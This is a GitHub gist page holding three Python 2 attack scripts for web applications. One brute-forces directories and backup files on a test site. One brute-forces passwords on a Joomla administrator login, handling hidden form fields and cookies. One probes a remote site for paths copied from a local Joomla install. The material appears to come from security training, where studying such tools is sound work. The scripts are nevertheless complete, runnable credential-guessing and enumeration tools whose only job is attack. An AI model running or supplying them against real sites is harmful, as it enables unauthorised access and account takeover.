Created
February 18, 2015 17:51
-
-
Save sh1nu11bi/b0a67bfe97bea7211c99 to your computer and use it in GitHub Desktop.
WebApplicationScanning
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib2 | |
import urllib | |
import threading | |
import Queue | |
threads = 5 | |
target_url = "http://testphp.vulnweb.com" | |
wordlist_file = "/tmp/all.txt" # from SVNDigger | |
resume = None | |
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" | |
def build_wordlist(wordlist_file): | |
# read in the word list | |
fd = open(wordlist_file,"rb") | |
raw_words = fd.readlines() | |
fd.close() | |
found_resume = False | |
words = Queue.Queue() | |
for word in raw_words: | |
word = word.rstrip() | |
if resume is not None: | |
if found_resume: | |
words.put(word) | |
else: | |
if word == resume: | |
found_resume = True | |
print "Resuming wordlist from: %s" % resume | |
else: | |
words.put(word) | |
return words | |
def dir_bruter(extensions=None): | |
while not word_queue.empty(): | |
attempt = word_queue.get() | |
attempt_list = [] | |
# check if there is a file extension if not | |
# it's a directory path we're bruting | |
if "." not in attempt: | |
attempt_list.append("/%s/" % attempt) | |
else: | |
attempt_list.append("/%s" % attempt) | |
# if we want to bruteforce extensions | |
if extensions: | |
for extension in extensions: | |
attempt_list.append("/%s%s" % (attempt,extension)) | |
# iterate over our list of attempts | |
for brute in attempt_list: | |
url = "%s%s" % (target_url,urllib.quote(brute)) | |
try: | |
headers = {} | |
headers["User-Agent"] = user_agent | |
r = urllib2.Request(url,headers=headers) | |
response = urllib2.urlopen(r) | |
if len(response.read()): | |
print "[%d] => %s" % (response.code,url) | |
except urllib2.HTTPError,e: | |
if e.code != 404: | |
print "!!! %d => %s" % (e.code,url) | |
pass | |
word_queue = build_wordlist(wordlist_file) | |
extensions = [".php",".bak",".orig",".inc"] | |
for i in range(threads): | |
t = threading.Thread(target=dir_bruter,args=(extensions,)) | |
t.start() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib2 | |
import urllib | |
import cookielib | |
import threading | |
import sys | |
import Queue | |
from HTMLParser import HTMLParser | |
# general settings | |
user_thread = 10 | |
username = "admin" | |
wordlist_file = "/tmp/cain.txt" | |
resume = None | |
# target specific settings | |
target_url = "http://192.168.112.131/administrator/index.php" | |
target_post = "http://192.168.112.131/administrator/index.php" | |
username_field= "username" | |
password_field= "passwd" | |
success_check = "Administration - Control Panel" | |
class BruteParser(HTMLParser): | |
def __init__(self): | |
HTMLParser.__init__(self) | |
self.tag_results = {} | |
def handle_starttag(self, tag, attrs): | |
if tag == "input": | |
tag_name = None | |
tag_value = None | |
for name,value in attrs: | |
if name == "name": | |
tag_name = value | |
if name == "value": | |
tag_value = value | |
if tag_name is not None: | |
self.tag_results[tag_name] = value | |
class Bruter(object): | |
def __init__(self, username, words): | |
self.username = username | |
self.password_q = words | |
self.found = False | |
print "Finished setting up for: %s" % username | |
def run_bruteforce(self): | |
for i in range(user_thread): | |
t = threading.Thread(target=self.web_bruter) | |
t.start() | |
def web_bruter(self): | |
while not self.password_q.empty() and not self.found: | |
brute = self.password_q.get().rstrip() | |
jar = cookielib.FileCookieJar("cookies") | |
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) | |
response = opener.open(target_url) | |
page = response.read() | |
print "Trying: %s : %s (%d left)" % (self.username,brute,self.password_q.qsize()) | |
# parse out the hidden fields | |
parser = BruteParser() | |
parser.feed(page) | |
post_tags = parser.tag_results | |
# add our username and password fields | |
post_tags[username_field] = self.username | |
post_tags[password_field] = brute | |
login_data = urllib.urlencode(post_tags) | |
login_response = opener.open(target_post, login_data) | |
login_result = login_response.read() | |
if success_check in login_result: | |
self.found = True | |
print "[*] Bruteforce successful." | |
print "[*] Username: %s" % username | |
print "[*] Password: %s" % brute | |
print "[*] Waiting for other threads to exit..." | |
def build_wordlist(wordlist_file): | |
# read in the word list | |
fd = open(wordlist_file,"rb") | |
raw_words = fd.readlines() | |
fd.close() | |
found_resume = False | |
words = Queue.Queue() | |
for word in raw_words: | |
word = word.rstrip() | |
if resume is not None: | |
if found_resume: | |
words.put(word) | |
else: | |
if word == resume: | |
found_resume = True | |
print "Resuming wordlist from: %s" % resume | |
else: | |
words.put(word) | |
return words | |
words = build_wordlist(wordlist_file) | |
bruter_obj = Bruter(username,words) | |
bruter_obj.run_bruteforce() | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Queue | |
import threading | |
import os | |
import urllib2 | |
threads = 10 | |
target = "http://www.test.com" | |
directory = "/Users/justin/Downloads/joomla-3.1.1" | |
filters = [".jpg",".gif","png",".css"] | |
os.chdir(directory) | |
web_paths = Queue.Queue() | |
for r,d,f in os.walk("."): | |
for files in f: | |
remote_path = "%s/%s" % (r,files) | |
if remote_path.startswith("."): | |
remote_path = remote_path[1:] | |
if os.path.splitext(files)[1] not in filters: | |
web_paths.put(remote_path) | |
def test_remote(): | |
while not web_paths.empty(): | |
path = web_paths.get() | |
url = "%s%s" % (target, path) | |
request = urllib2.Request(url) | |
try: | |
response = urllib2.urlopen(request) | |
content = response.read() | |
print "[%d] => %s" % (response.code,path) | |
response.close() | |
except urllib2.HTTPError as error: | |
#print "Failed %s" % error.code | |
pass | |
for i in range(threads): | |
print "Spawning thread: %d" % i | |
t = threading.Thread(target=test_remote) | |
t.start() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment